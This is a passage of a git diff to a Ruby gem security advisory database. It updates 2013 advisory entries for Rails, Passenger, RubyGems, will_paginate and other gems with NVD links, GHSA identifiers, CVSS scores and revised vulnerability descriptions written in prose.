   cve: 2013-1854
   osvdb: 91453
-  url: http://osvdb.org/show/osvdb/91453
-  title: Symbol DoS vulnerability in Active Record
+  ghsa: 3crr-9vmg-864v
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1854
+  title: 'CVE-2013-1854 rubygem-activerecord: attribute_dos Symbol DoS vulnerability'
   date: 2013-03-19
   description: |
-    When a hash is provided as the find value for a query, the keys of
-    the hash may be converted to symbols. Carefully crafted requests can
-    coerce `params[:name]` to return a hash, and the keys to that hash
-    may be converted to symbols. Ruby symbols are not garbage collected,
-    so an attacker can initiate a denial of service attack by creating a
-    large number of symbols.
+    The Active Record component in Ruby on Rails 2.3.x before 2.3.18, 3.1.x
+    before 3.1.12, and 3.2.x before 3.2.13 processes certain queries by converting hash
+    keys to symbols, which allows remote attackers to cause a denial of service via
+    crafted input to a where method. A flaw was found in the way Ruby on Rails handled
+    hashes in certain queries. A remote attacker could use this flaw to perform a denial
+    of service (resource consumption) attack by sending specially crafted queries that
+    would result in the creation of Ruby symbols, which were never garbage collected.
   cvss_v2: 7.8
   unaffected_versions:
   - "~> 3.0.0"
diff --git a/advisories/_posts/2013-03-19-CVE-2013-1855.md b/advisories/_posts/2013-03-19-CVE-2013-1855.md
index db497793..4e316e84 100644
--- a/advisories/_posts/2013-03-19-CVE-2013-1855.md
+++ b/advisories/_posts/2013-03-19-CVE-2013-1855.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-1855 (actionpack): XSS vulnerability in sanitize_css in Action Pack'
+title: 'CVE-2013-1855 (actionpack): CVE-2013-1855 rubygem-actionpack: css_sanitization:
+  XSS vulnerability in sanitize_css'
 comments: false
 categories:
 - actionpack
@@ -10,13 +11,19 @@ advisory:
   framework: rails
   cve: 2013-1855
   osvdb: 91452
-  url: http://www.osvdb.org/show/osvdb/91452
-  title: XSS vulnerability in sanitize_css in Action Pack
+  ghsa: q759-hwvc-m3jg
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1855
+  title: 'CVE-2013-1855 rubygem-actionpack: css_sanitization: XSS vulnerability in
+    sanitize_css'
   date: 2013-03-19
   description: |
-    There is an XSS vulnerability in the `sanitize_css` method in Action
-    Pack. Carefully crafted text can bypass the sanitization provided in
-    the `sanitize_css` method in Action Pack
+    The sanitize_css method in lib/action_controller/vendor/html-scanner/html/sanitizer.rb
+    in the Action Pack component in Ruby on Rails before 2.3.18, 3.0.x and 3.1.x before
+    3.1.12, and 3.2.x before 3.2.13 does not properly handle \n (newline) characters,
+    which makes it easier for remote attackers to conduct cross-site scripting (XSS)
+    attacks via crafted Cascading Style Sheets (CSS) token sequences. A cross-site scripting
+    (XSS) flaw was found in Action Pack. A remote attacker could use this flaw to conduct
+    XSS attacks against users of an application using Action Pack.
   cvss_v2: 4.3
   patched_versions:
   - "~> 2.3.18"
diff --git a/advisories/_posts/2013-03-19-CVE-2013-1856.md b/advisories/_posts/2013-03-19-CVE-2013-1856.md
index f3579470..03f4b13d 100644
--- a/advisories/_posts/2013-03-19-CVE-2013-1856.md
+++ b/advisories/_posts/2013-03-19-CVE-2013-1856.md
@@ -5,13 +5,15 @@ comments: false
 categories:
 - activesupport
 - rails
+- jruby
 advisory:
   gem: activesupport
   framework: rails
   platform: jruby
   cve: 2013-1856
   osvdb: 91451
-  url: http://www.osvdb.org/show/osvdb/91451
+  ghsa: 9c2j-593q-3g82
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1856
   title: XML Parsing Vulnerability affecting JRuby users
   date: 2013-03-19
   description: |
diff --git a/advisories/_posts/2013-03-19-CVE-2013-1857.md b/advisories/_posts/2013-03-19-CVE-2013-1857.md
index bb460d8c..82abe151 100644
--- a/advisories/_posts/2013-03-19-CVE-2013-1857.md
+++ b/advisories/_posts/2013-03-19-CVE-2013-1857.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-1857 (actionpack): XSS Vulnerability in the `sanitize` helper of
-  Ruby on Rails'
+title: 'CVE-2013-1857 (actionpack): CVE-2013-1857 rubygem-actionpack: sanitize_protocol:
+  XSS Vulnerability in the  helper of Ruby on Rails'
 comments: false
 categories:
 - actionpack
@@ -11,16 +11,20 @@ advisory:
   framework: rails
   cve: 2013-1857
   osvdb: 91454
-  url: http://osvdb.org/show/osvdb/91454
-  title: XSS Vulnerability in the `sanitize` helper of Ruby on Rails
+  ghsa: j838-vfpq-fmf2
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1857
+  title: 'CVE-2013-1857 rubygem-actionpack: sanitize_protocol: XSS Vulnerability in
+    the  helper of Ruby on Rails'
   date: 2013-03-19
   description: |
-    The sanitize helper in Ruby on Rails is designed to
-    filter HTML and remove all tags and attributes which could be
-    malicious. The code which ensured that URLs only contain supported
-    protocols contained several bugs which could allow an attacker to
-    embed a tag containing a URL which executes arbitrary javascript
-    code.
+    'The sanitize helper in lib/action_controller/vendor/html-scanner/html/sanitizer.rb
+    in the Action Pack component in Ruby on Rails before 2.3.18, 3.0.x and 3.1.x before
+    3.1.12, and 3.2.x before 3.2.13 does not properly handle encoded : (colon) characters
+    in URLs, which makes it easier for remote attackers to conduct cross-site scripting
+    (XSS) attacks via a crafted scheme name, as demonstrated by including a &#x3a; sequence.
+    A cross-site scripting (XSS) flaw was found in Action Pack. A remote attacker could
+    use this flaw to conduct XSS attacks against users of an application using Action
+    Pack.'
   cvss_v2: 4.3
   patched_versions:
   - "~> 2.3.18"
diff --git a/advisories/_posts/2013-03-26-CVE-2013-1898.md b/advisories/_posts/2013-03-26-CVE-2013-1898.md
index 92e5dd7d..aa198318 100644
--- a/advisories/_posts/2013-03-26-CVE-2013-1898.md
+++ b/advisories/_posts/2013-03-26-CVE-2013-1898.md
@@ -9,13 +9,15 @@ advisory:
   gem: thumbshooter
   cve: 2013-1898
   osvdb: 91839
-  url: http://osvdb.org/show/osvdb/91839
+  ghsa: 7fqj-cg79-f2pv
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1898
   title: Thumbshooter Gem for Ruby thumbshooter.rb URL Shell Metacharacter Injection
     Arbitrary Command Execution
   date: 2013-03-26
-  description: Thumbshooter Gem for Ruby contains a flaw that is due to the program
-    failing to properly sanitize input passed to thumbshooter.rb. With a specially
-    crafted URL that contains shell metacharacters, a context-dependent attacker can
-    execute arbitrary commands.
+  description: |
+    Thumbshooter Gem for Ruby contains a flaw that is due to the program
+    failing to properly sanitize input passed to thumbshooter.rb. With a specially crafted
+    URL that contains shell metacharacters, a context-dependent attacker can execute
+    arbitrary commands.
   cvss_v2: 7.5
 ---
diff --git a/advisories/_posts/2013-04-01-CVE-2013-1911.md b/advisories/_posts/2013-04-01-CVE-2013-1911.md
index 49e8a631..6ff4038b 100644
--- a/advisories/_posts/2013-04-01-CVE-2013-1911.md
+++ b/advisories/_posts/2013-04-01-CVE-2013-1911.md
@@ -9,11 +9,13 @@ advisory:
   gem: ldoce
   cve: 2013-1911
   osvdb: 91870
-  url: http://osvdb.org/show/osvdb/91870
+  ghsa: g266-3crh-h7gj
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1911
   title: ldoce Gem for Ruby MP3 URL Shell Metacharacter Injection Arbitrary Command
     Execution
   date: 2013-04-01
-  description: ldoce Gem for Ruby contains a flaw that is triggered during the handling
+  description: |
+    ldoce Gem for Ruby contains a flaw that is triggered during the handling
     of a specially crafted URL or filename for MP3 files that have shell metacharacters
     injected in to it. This may allow a context-dependent attacker to execute arbitrary
     commands.
diff --git a/advisories/_posts/2013-04-04-CVE-2013-1947.md b/advisories/_posts/2013-04-04-CVE-2013-1947.md
index 5a27ab3b..c251c682 100644
--- a/advisories/_posts/2013-04-04-CVE-2013-1947.md
+++ b/advisories/_posts/2013-04-04-CVE-2013-1947.md
@@ -9,11 +9,13 @@ advisory:
   gem: kelredd-pruview
   cve: 2013-1947
   osvdb: 92228
-  url: http://osvdb.org/show/osvdb/92228
+  ghsa: 78j3-7wpm-qhvp
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1947
   title: kelredd-pruview Gem for Ruby /lib/pruview/document.rb File Name Shell Metacharacter
     Injection Arbitrary Command Execution
   date: 2013-04-04
-  description: kelredd-pruview Gem for Ruby contains a flaw in /lib/pruview/document.rb.
+  description: |
+    kelredd-pruview Gem for Ruby contains a flaw in /lib/pruview/document.rb.
     The issue is triggered during the handling of a specially crafted file name that
     contains injected shell metacharacters. This may allow a context-dependent attacker
     to potentially execute arbitrary commands.
diff --git a/advisories/_posts/2013-04-08-CVE-2013-1933.md b/advisories/_posts/2013-04-08-CVE-2013-1933.md
index 858bf829..caf7e665 100644
--- a/advisories/_posts/2013-04-08-CVE-2013-1933.md
+++ b/advisories/_posts/2013-04-08-CVE-2013-1933.md
@@ -9,11 +9,13 @@ advisory:
   gem: karteek-docsplit
   cve: 2013-1933
   osvdb: 92117
-  url: http://osvdb.org/show/osvdb/92117
+  ghsa: 4fvg-pwv7-v54g
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1933
   title: Karteek Docsplit Gem for Ruby text_extractor.rb File Name Shell Metacharacter
     Injection Arbitrary Command Execution
   date: 2013-04-08
-  description: Karteek Docsplit Gem for Ruby contains a flaw that is due to the program
+  description: |
+    Karteek Docsplit Gem for Ruby contains a flaw that is due to the program
     failing to properly sanitize input passed to text_extractor.rb. With a specially
     crafted file name that contains shell metacharacters, a context-dependent attacker
     can execute arbitrary commands
diff --git a/advisories/_posts/2013-04-13-CVE-2013-1948.md b/advisories/_posts/2013-04-13-CVE-2013-1948.md
index 78cfe32d..450fe12a 100644
--- a/advisories/_posts/2013-04-13-CVE-2013-1948.md
+++ b/advisories/_posts/2013-04-13-CVE-2013-1948.md
@@ -9,13 +9,15 @@ advisory:
   gem: md2pdf
   cve: 2013-1948
   osvdb: 92290
-  url: http://osvdb.org/show/osvdb/92290
+  ghsa: 99ch-8mvp-g7m5
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1948
   title: md2pdf Gem for Ruby md2pdf/converter.rb File Name Shell Metacharacter Injection
     Arbitrary Command Execution
   date: 2013-04-13
-  description: md2pdf Gem for Ruby contains a flaw that is due to the program failing
+  description: |
+    md2pdf Gem for Ruby contains a flaw that is due to the program failing
     to properly sanitize input passed to md2pdf/converter.rb. With a specially crafted
-    file name that contains shell metacharacters, a context-dependent attacker can
-    execute arbitrary commands
+    file name that contains shell metacharacters, a context-dependent attacker can execute
+    arbitrary commands
   cvss_v2: 10.0
 ---
diff --git a/advisories/_posts/2013-05-14-CVE-2013-2090.md b/advisories/_posts/2013-05-14-CVE-2013-2090.md
index f42cf521..6dc514c6 100644
--- a/advisories/_posts/2013-05-14-CVE-2013-2090.md
+++ b/advisories/_posts/2013-05-14-CVE-2013-2090.md
@@ -9,11 +9,13 @@ advisory:
   gem: cremefraiche
   cve: 2013-2090
   osvdb: 93395
-  url: http://osvdb.org/show/osvdb/93395
+  ghsa: m6f7-46hw-grcj
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-2090
   title: Creme Fraiche Gem for Ruby File Name Shell Metacharacter Injection Arbitrary
     Command Execution
   date: 2013-05-14
-  description: Creme Fraiche Gem for Ruby contains a flaw that is due to the program
+  description: |
+    Creme Fraiche Gem for Ruby contains a flaw that is due to the program
     failing to properly sanitize input in file names. With a specially crafted file
     name that contains shell metacharacters, a context-dependent attacker can execute
     arbitrary commands
diff --git a/advisories/_posts/2013-05-17-CVE-2013-2105.md b/advisories/_posts/2013-05-17-CVE-2013-2105.md
index 7f10eb66..40bf3775 100644
--- a/advisories/_posts/2013-05-17-CVE-2013-2105.md
+++ b/advisories/_posts/2013-05-17-CVE-2013-2105.md
@@ -9,11 +9,13 @@ advisory:
   gem: show_in_browser
   cve: 2013-2105
   osvdb: 93490
-  url: http://osvdb.org/show/osvdb/93490
+  ghsa: 9hx9-w2j6-rw76
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-2105
   title: Show In Browser Gem for Ruby /tmp/browser.html Arbitrary Script Injection
   date: 2013-05-17
-  description: Show In Browser Gem for Ruby contains a flaw that is triggered when
-    the application does not validate input passed via the /tmp/browser.html file.
-    This may allow a local attacker to create a specially crafted request that would
-    execute arbitrary script code in a user's browser.
+  description: |
+    Show In Browser Gem for Ruby contains a flaw that is triggered when the
+    application does not validate input passed via the /tmp/browser.html file. This
+    may allow a local attacker to create a specially crafted request that would execute
+    arbitrary script code in a user's browser.
 ---
diff --git a/advisories/_posts/2013-05-29-CVE-2013-2119.md b/advisories/_posts/2013-05-29-CVE-2013-2119.md
index cff7e45a..1bf5f5f8 100644
--- a/advisories/_posts/2013-05-29-CVE-2013-2119.md
+++ b/advisories/_posts/2013-05-29-CVE-2013-2119.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-2119 (passenger): Phusion Passenger Gem for Ruby Predictable Temporary
-  Filename Generation Symlink Local Privilege Escalation'
+title: 'CVE-2013-2119 (passenger): CVE-2013-2119 rubygem-passenger: incorrect temporary
+  file usage'
 comments: false
 categories:
 - passenger
@@ -9,14 +9,15 @@ advisory:
   gem: passenger
   cve: 2013-2119
   osvdb: 93752
-  url: http://osvdb.org/show/osvdb/93752
-  title: Phusion Passenger Gem for Ruby Predictable Temporary Filename Generation
-    Symlink Local Privilege Escalation
+  ghsa: 9qj7-jvg4-qr2x
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-2119
+  title: 'CVE-2013-2119 rubygem-passenger: incorrect temporary file usage'
   date: 2013-05-29
-  description: Phusion Passenger Gem for Ruby contains a flaw as the program creates
-    temporary files insecurely. It is possible for a local attacker to use a symlink
-    attack against the Nginx config file to cause the program to unexpectedly overwrite
-    the file, allowing a local attacker to execute code with elevated privileges.
+  description: |
+    Phusion Passenger gem before 3.0.21 and 4.0.x before 4.0.5 for Ruby allows
+    local users to cause a denial of service (prevent application start) or gain privileges
+    by pre-creating a temporary "config" file in a directory with a predictable name
+    in /tmp/ before it is used by the gem.
   cvss_v2: 4.6
   patched_versions:
   - "~> 3.0.21"
diff --git a/advisories/_posts/2013-06-10-CVE-2013-4136.md b/advisories/_posts/2013-06-10-CVE-2013-4136.md
index eebfe8d3..20a20898 100644
--- a/advisories/_posts/2013-06-10-CVE-2013-4136.md
+++ b/advisories/_posts/2013-06-10-CVE-2013-4136.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-4136 (passenger): Phusion Passenger Gem for Ruby Utils.cpp Temporary
-  Directory Creation Symlink Local Privilege Escalation'
+title: 'CVE-2013-4136 (passenger): CVE-2013-4136 rubygem-passenger: insecure temporary
+  directory usage due toreuse of existing server instance directories'
 comments: false
 categories:
 - passenger
@@ -9,14 +9,16 @@ advisory:
   gem: passenger
   cve: 2013-4136
   osvdb: 94074
-  url: http://osvdb.org/show/osvdb/94074
-  title: Phusion Passenger Gem for Ruby Utils.cpp Temporary Directory Creation Symlink
-    Local Privilege Escalation
+  ghsa: w6rc-q387-vpgq
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-4136
+  title: 'CVE-2013-4136 rubygem-passenger: insecure temporary directory usage due
+    toreuse of existing server instance directories'
   date: 2013-06-10
-  description: Phusion Passenger Gem for Ruby contains a flaw as the program creates
-    temporary directories insecurely. It is possible for a local attacker to use a
-    symlink attack against the Utils.cpp file to allow the attacker to gain elevated
-    privileges.
+  description: |
+    ext/common/ServerInstanceDir.h in Phusion Passenger gem before 4.0.6
+    for Ruby allows local users to gain privileges or possibly change the ownership
+    of arbitrary directories via a symlink attack on a directory with a predictable
+    name in /tmp/.
   cvss_v2: 4.6
   patched_versions:
   - ">= 4.0.8"
diff --git a/advisories/_posts/2013-06-26-OSVDB-94679.md b/advisories/_posts/2013-06-26-OSVDB-94679.md
index b9505523..15a5a88c 100644
--- a/advisories/_posts/2013-06-26-OSVDB-94679.md
+++ b/advisories/_posts/2013-06-26-OSVDB-94679.md
@@ -8,12 +8,16 @@ categories:
 advisory:
   gem: enum_column3
   osvdb: 94679
-  url: http://osvdb.org/show/osvdb/94679
+  url: https://security.snyk.io/vuln/SNYK-RUBY-ENUMCOLUMN3-20100
   title: enum_column3 Gem for Ruby Symbol Creation Remote DoS
   date: 2013-06-26
-  description: The enum_column3 Gem for Ruby contains a flaw that may allow a remote
-    denial of service. The issue is due to the program typecasting unexpected strings
-    to symbols. This may allow a remote attacker to crash the program.
-  cvss_v2: 
-  patched_versions: 
+  description: |
+    The enum_column3 Gem for Ruby contains a flaw that may allow a remote
+    denial of service. The issue is due to the program typecasting unexpected
+    strings to symbols. This may allow a remote attacker to crash the program.
+  related:
+    url:
+    - https://security.snyk.io/vuln/SNYK-RUBY-ENUMCOLUMN3-20100
+    - http://osvdb.org/show/osvdb/94679
+  notes: Never patched
 ---
diff --git a/advisories/_posts/2013-07-09-CVE-2014-2538.md b/advisories/_posts/2013-07-09-CVE-2014-2538.md
index 9cc5be3e..c382be2b 100644
--- a/advisories/_posts/2013-07-09-CVE-2014-2538.md
+++ b/advisories/_posts/2013-07-09-CVE-2014-2538.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-2538 (rack-ssl): rack-ssl Gem for Ruby Error Message Reflected XSS'
+title: 'CVE-2014-2538 (rack-ssl): CVE-2014-2538 rubygem rack-ssl: URL error display
+  XSS'
 comments: false
 categories:
 - rack-ssl
@@ -8,15 +9,15 @@ advisory:
   gem: rack-ssl
   cve: 2014-2538
   osvdb: 104734
-  url: http://osvdb.org/show/osvdb/104734
-  title: rack-ssl Gem for Ruby Error Message Reflected XSS
+  ghsa: v3rr-cph9-2g2q
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-2538
+  title: 'CVE-2014-2538 rubygem rack-ssl: URL error display XSS'
   date: 2013-07-09
-  description: rack-ssl Gem for Ruby contains a flaw that allows a reflected cross-site
-    scripting (XSS) attack. This flaw exists because the program does not validate
-    input passed via error messages before returning it to users. This may allow a
-    context-dependent attacker to create a specially crafted request that would execute
-    arbitrary script code in a user's browser session within the trust relationship
-    between their browser and the server.
+  description: |
+    Cross-site scripting (XSS) vulnerability in lib/rack/ssl.rb in the rack-ssl
+    gem before 1.4.0 for Ruby allows remote attackers to inject arbitrary web script
+    or HTML via a URI, which might not be properly handled by third-party adapters such
+    as JRuby-Rack.
   cvss_v2: 4.3
   patched_versions:
   - ">= 1.3.4"
diff --git a/advisories/_posts/2013-07-25-CVE-2013-4170.md b/advisories/_posts/2013-07-25-CVE-2013-4170.md
index 66c81e74..d8ee9c04 100644
--- a/advisories/_posts/2013-07-25-CVE-2013-4170.md
+++ b/advisories/_posts/2013-07-25-CVE-2013-4170.md
@@ -1,16 +1,16 @@
 ---
 layout: advisory
-title: |
-  CVE-2013-4170 (ember-source): Ember.js Potential XSS Exploit When Binding `tagName` to User-Supplied Data
+title: 'CVE-2013-4170 (ember-source): Ember.js Potential XSS Exploit When Binding
+  `tagName` to User-Supplied Data'
 comments: false
 categories:
 - ember-source
 advisory:
   gem: ember-source
   cve: 2013-4170
+  ghsa: 5m48-c37x-f792
   url: https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM
-  title: |
-    Ember.js Potential XSS Exploit When Binding `tagName` to User-Supplied Data
+  title: Ember.js Potential XSS Exploit When Binding `tagName` to User-Supplied Data
   date: 2013-07-25
   description: |
     In general, Ember.js escapes or strips any user-supplied content
@@ -23,6 +23,7 @@ advisory:
 
     This vulnerability only affects applications that assign or bind
     user-provided content to `tagName`.
+  cvss_v3: 6.1
   patched_versions:
   - "~> 1.0.0.rc1.1"
   - "~> 1.0.0.rc2.1"
diff --git a/advisories/_posts/2013-08-02-CVE-2013-4203.md b/advisories/_posts/2013-08-02-CVE-2013-4203.md
index f4a30ddc..11e25d4f 100644
--- a/advisories/_posts/2013-08-02-CVE-2013-4203.md
+++ b/advisories/_posts/2013-08-02-CVE-2013-4203.md
@@ -9,7 +9,8 @@ advisory:
   gem: rgpg
   cve: 2013-4203
   osvdb: 95948
-  url: http://www.osvdb.org/show/osvdb/95948
+  ghsa: jg4m-q6w8-vrjp
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-4203
   title: rgpg Gem for Ruby lib/rgpg/gpg_helper.rb Remote Command Execution
   date: 2013-08-02
   description: |
diff --git a/advisories/_posts/2013-08-02-OSVDB-114435.md b/advisories/_posts/2013-08-02-OSVDB-114435.md
index ff4d0241..c7deec48 100644
--- a/advisories/_posts/2013-08-02-OSVDB-114435.md
+++ b/advisories/_posts/2013-08-02-OSVDB-114435.md
@@ -19,4 +19,11 @@ advisory:
   patched_versions:
   - "~> 2.2.5"
   - ">= 3.0.1"
+  related:
+    url:
+    - http://blog.plataformatec.com.br/2013/08/csrf-token-fixation-attacks-in-devise
+    - https://github.com/heartcombo/devise/commit/747751a20f50aa8814dcd3eb9a3648f00ab6a707
+    - https://github.com/heartcombo/devise/compare/v3.0.0...v3.0.1
+    - https://my.diffend.io/gems/devise/3.0.0/3.0.1
+    - https://security.snyk.io/vuln/SNYK-RUBY-DEVISE-20103
 ---
diff --git a/advisories/_posts/2013-08-03-OSVDB-96425.md b/advisories/_posts/2013-08-03-OSVDB-96425.md
index d4170d9f..4632e2c7 100644
--- a/advisories/_posts/2013-08-03-OSVDB-96425.md
+++ b/advisories/_posts/2013-08-03-OSVDB-96425.md
@@ -16,8 +16,14 @@ advisory:
     The issue is triggered when handling exec commands called via send(). This may allow a
     remote attacker to execute arbitrary commands.
   patched_versions:
-  - ">= 1.3.1"
-  - "~> 1.2.2"
-  - "~> 1.1.1"
   - "~> 1.0.4"
+  - "~> 1.1.1"
+  - "~> 1.2.2"
+  - ">= 1.3.1"
+  related:
+    url:
+    - http://blog.steveklabnik.com/posts/2013-08-03-redis-namespace-1-3-1--security-release
+    - https://github.com/resque/redis-namespace/issues/65
+    - https://github.com/resque/redis-namespace/commit/6d839515e8a3fdc17b5fb391500fda3f919689d6
+    - https://security.snyk.io/vuln/SNYK-RUBY-REDISNAMESPACE-20105
 ---
diff --git a/advisories/_posts/2013-08-14-CVE-2013-5647.md b/advisories/_posts/2013-08-14-CVE-2013-5647.md
index 21d578ce..5295bfc6 100644
--- a/advisories/_posts/2013-08-14-CVE-2013-5647.md
+++ b/advisories/_posts/2013-08-14-CVE-2013-5647.md
@@ -9,7 +9,8 @@ advisory:
   gem: sounder
   cve: 2013-5647
   osvdb: 96278
-  url: http://www.osvdb.org/show/osvdb/96278
+  ghsa: rfmf-rx8w-935w
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-5647
   title: Sounder Gem for Ruby File Name Handling Arbitrary Command Execution
   date: 2013-08-14
   description: |
diff --git a/advisories/_posts/2013-09-01-CVE-2013-4318.md b/advisories/_posts/2013-09-01-CVE-2013-4318.md
index 188ba91d..665a268e 100644
--- a/advisories/_posts/2013-09-01-CVE-2013-4318.md
+++ b/advisories/_posts/2013-09-01-CVE-2013-4318.md
@@ -8,12 +8,15 @@ advisory:
   gem: features
   cve: 2013-4318
   osvdb: 96975
-  url: http://osvdb.org/show/osvdb/96975
+  ghsa: 42gq-h7xj-33r4
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-4318
   title: Features Gem for Ruby /tmp/out.html Local XSS
   date: 2013-09-01
-  description: Features Gem for Ruby contains a flaw that allows a local cross-site
+  description: |
+    Features Gem for Ruby contains a flaw that allows a local cross-site
     scripting (XSS) attack. This flaw exists because the application does not validate
-    certain input upon submission to /tmp/out.html. This may allow an attacker to
-    create a specially crafted request that would execute arbitrary script code in
-    a user's browser within the trust relationship between their browser and the server.
+    certain input upon submission to /tmp/out.html. This may allow an attacker to create
+    a specially crafted request that would execute arbitrary script code in a user's
+    browser within the trust relationship between their browser and the server.
+  cvss_v3: 5.4
 ---
diff --git a/advisories/_posts/2013-09-03-CVE-2013-5671.md b/advisories/_posts/2013-09-03-CVE-2013-5671.md
index d7678cdd..d5badd47 100644
--- a/advisories/_posts/2013-09-03-CVE-2013-5671.md
+++ b/advisories/_posts/2013-09-03-CVE-2013-5671.md
@@ -9,7 +9,8 @@ advisory:
   gem: fog-dragonfly
   cve: 2013-5671
   osvdb: 96798
-  url: http://osvdb.org/show/osvdb/96798
+  ghsa: qrgf-jqqm-x7xv
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-5671
   title: fog-dragonfly Gem for Ruby imagemagickutils.rb Remote Command Execution
   date: 2013-09-03
   description: |
diff --git a/advisories/_posts/2013-09-09-CVE-2013-4287.md b/advisories/_posts/2013-09-09-CVE-2013-4287.md
new file mode 100644
index 00000000..06ac347d
--- /dev/null
+++ b/advisories/_posts/2013-09-09-CVE-2013-4287.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2013-4287 (rubygems-update): CVE-2013-4287 rubygems: version regex algorithmic
+  complexity vulnerability'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2013-4287
+  osvdb: 97163
+  ghsa: 9j7m-rjqx-48vh
+  url: http://blog.rubygems.org/2013/09/09/CVE-2013-4287.html
+  title: 'CVE-2013-4287 rubygems: version regex algorithmic complexity vulnerability'
+  date: 2013-09-09
+  description: |
+    Algorithmic complexity vulnerability in Gem::Version::VERSION_PATTERN
+    in lib/rubygems/version.rb in RubyGems before 1.8.23.1, 1.8.24 through 1.8.25, 2.0.x
+    before 2.0.8, and 2.1.x before 2.1.0, as used in Ruby 1.9.0 through 2.0.0p247, allows
+    remote attackers to cause a denial of service (CPU consumption) via a crafted gem
+    version that triggers a large amount of backtracking in a regular expression.
+  cvss_v2: 4.3
+  patched_versions:
+  - "~> 1.8.23.1"
+  - "~> 1.8.26"
+  - "~> 2.0.8"
+  - ">= 2.1.0"
+---
diff --git a/advisories/_posts/2013-09-19-CVE-2013-6459.md b/advisories/_posts/2013-09-19-CVE-2013-6459.md
index 86457263..9aba717e 100644
--- a/advisories/_posts/2013-09-19-CVE-2013-6459.md
+++ b/advisories/_posts/2013-09-19-CVE-2013-6459.md
@@ -1,23 +1,25 @@
 ---
 layout: advisory
-title: 'CVE-2013-6459 (will_paginate): will_paginate Gem for Ruby Generated Pagination
-  Link Unspecified XSS'
+title: 'CVE-2013-6459 (will_paginate): CVE-2013-6459 rubygem-will_paginate: XSS vulnerabilities'
 comments: false
 categories:
 - will_paginate
 advisory:
   gem: will_paginate
-  osvdb: 101138
   cve: 2013-6459
-  url: http://osvdb.org/show/osvdb/101138
-  title: will_paginate Gem for Ruby Generated Pagination Link Unspecified XSS
+  osvdb: 101138
+  ghsa: 8r6h-7x9g-xmw9
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-6459
+  title: 'CVE-2013-6459 rubygem-will_paginate: XSS vulnerabilities'
   date: 2013-09-19
-  description: will_paginate Gem for Ruby contains a flaw that allows a cross-site
-    scripting (XSS) attack. This flaw exists because the application does not validate
-    certain unspecified input related to generated pagination links before returning
-    it to the user. This may allow an attacker to create a specially crafted request
-    that would execute arbitrary script code in a users browser within the trust relationship
-    between their browser and the server.
+  description: |
+    Cross-site scripting (XSS) vulnerability in the will_paginate gem before
+    3.0.5 for Ruby allows remote attackers to inject arbitrary web script or HTML via
+    vectors involving generated pagination links. It was found that ruby will_paginate
+    is vulnerable to a XSS via malformed input that cause pagination to occur on an
+    improper boundary. This could allow an attacker with the ability to pass data to
+    the will_paginate gem to display arbitrary HTML including scripting code within
+    the web interface.
   cvss_v2: 4.3
   patched_versions:
   - ">= 3.0.5"
diff --git a/advisories/_posts/2013-09-24-CVE-2013-4363.md b/advisories/_posts/2013-09-24-CVE-2013-4363.md
new file mode 100644
index 00000000..ca1b57cb
--- /dev/null
+++ b/advisories/_posts/2013-09-24-CVE-2013-4363.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2013-4363 (rubygems-update): CVE-2013-4363 rubygems: version regex algorithmic
+  complexity vulnerability, incomplete CVE-2013-4287 fix'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2013-4363
+  osvdb: 97163
+  ghsa: 9qvm-2vhf-q649
+  url: http://blog.rubygems.org/2013/09/24/CVE-2013-4363.html
+  title: 'CVE-2013-4363 rubygems: version regex algorithmic complexity vulnerability,
+    incomplete CVE-2013-4287 fix'
+  date: 2013-09-24
+  description: |
+    'Algorithmic complexity vulnerability in Gem::Version::ANCHORED_VERSION_PATTERN
+    in lib/rubygems/version.rb in RubyGems before 1.8.23.2, 1.8.24 through 1.8.26, 2.0.x
+    before 2.0.10, and 2.1.x before 2.1.5, as used in Ruby 1.9.0 through 2.0.0p247,
+    allows remote attackers to cause a denial of service (CPU consumption) via a crafted
+    gem version that triggers a large amount of backtracking in a regular expression.  NOTE:
+    this issue is due to an incomplete fix for CVE-2013-4287.'
+  cvss_v2: 4.3
+  patched_versions:
+  - "~> 1.8.23.2"
+  - "~> 1.8.27"
+  - "~> 2.0.10"
+  - ">= 2.1.5"
+---
diff --git a/advisories/_posts/2013-10-01-CVE-2013-7463.md b/advisories/_posts/2013-10-01-CVE-2013-7463.md
new file mode 100644
index 00000000..099c1ec0
--- /dev/null
+++ b/advisories/_posts/2013-10-01-CVE-2013-7463.md
@@ -0,0 +1,19 @@
+---
+layout: advisory
+title: 'CVE-2013-7463 (aescrypt): Vulnerability in aescrypt because IV is not randomized'
+comments: false
+categories:
+- aescrypt
+advisory:
+  gem: aescrypt
+  cve: 2013-7463
+  ghsa: 4c4w-3q45-hp9j
+  url: https://github.com/Gurpartap/aescrypt/issues/4
+  title: Vulnerability in aescrypt because IV is not randomized
+  date: 2013-10-01
+  description: |
+    The aescrypt gem 1.0.0 for Ruby does not randomize the CBC IV for use with the
